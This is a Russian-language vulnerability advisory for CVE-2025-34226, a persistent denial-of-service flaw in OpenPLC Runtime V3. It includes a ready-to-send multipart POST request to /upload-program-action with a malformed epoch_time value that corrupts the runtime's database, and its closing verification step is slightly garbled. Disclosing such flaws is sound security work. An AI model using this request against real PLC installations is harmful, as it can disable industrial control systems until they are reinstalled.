
OpenPLC Runtime страдает от постоянной уязвимости отказа в обслуживании (DoS) в конечной точке /upload-program-action.
| Поле | Значение |
|---|
| CVE ID | CVE-2025-34226 |
| Затрагивает | OpenPLC Runtime V3 |
| Исправлено в | (коммит) 095ee09623dd229b64ad3a1db38a901a3772f6fc |
| Серьёзность | Высокий |
| CVSS 4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N 7.1 (Высокий) |
| CWE | CWE-664 Improper Control of a Resource Through Its Lifetime, CWE-20 Improper Input Validation |
Среда выполнения OpenPLC страдает от уязвимости постоянного отказа в обслуживании (DoS) в конечной точке /upload-program-action.
Изменяя параметр epoch_time во время загрузки программы, аутентифицированный пользователь с низкими привилегиями может повредить внутреннюю базу данных.
Это повреждение сначала отключает критические страницы, а в конечном итоге предотвращает запуск всей среды выполнения, фактически выводя приложение из строя до его переустановки.
Конечная точка /upload-program-action принимает поле epoch_time, которое записывается непосредственно в базу данных без проверки.
Если это поле установлено в поддельное или бессмысленное значение (например, 1758627838 или искажённые данные), OpenPLC сохраняет несогласованное состояние.
При перезагрузке среды выполнения или перезапуске приложение запрашивает повреждённую строку и сталкивается с объектом NoneType → фатальный сбой (TypeError: 'NoneType' object is not subscriptable).
POST /upload-program-action HTTP/1.1
Host: TARGET:8080
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: session=[valid-session-cookie]
------BOUNDARY
Content-Disposition: form-data; name="prog_name"
test
------BOUNDARY
Content-Disposition: form-data; name="prog_descr"
test
------BOUNDARY
Content-Disposition: form-data; name="prog_file"; filename="demo.st"
Content-Type: text/plain
PROGRAM demo
END_PROGRAM
------BOUNDARY
Content-Disposition: form-data; name="epoch_time"
"Just edit here and it will work (e.g "Hello !")"
------BOUNDARY--
/programs./programs — вы увидите, что она больше не работает.Обнаружено: Eyodav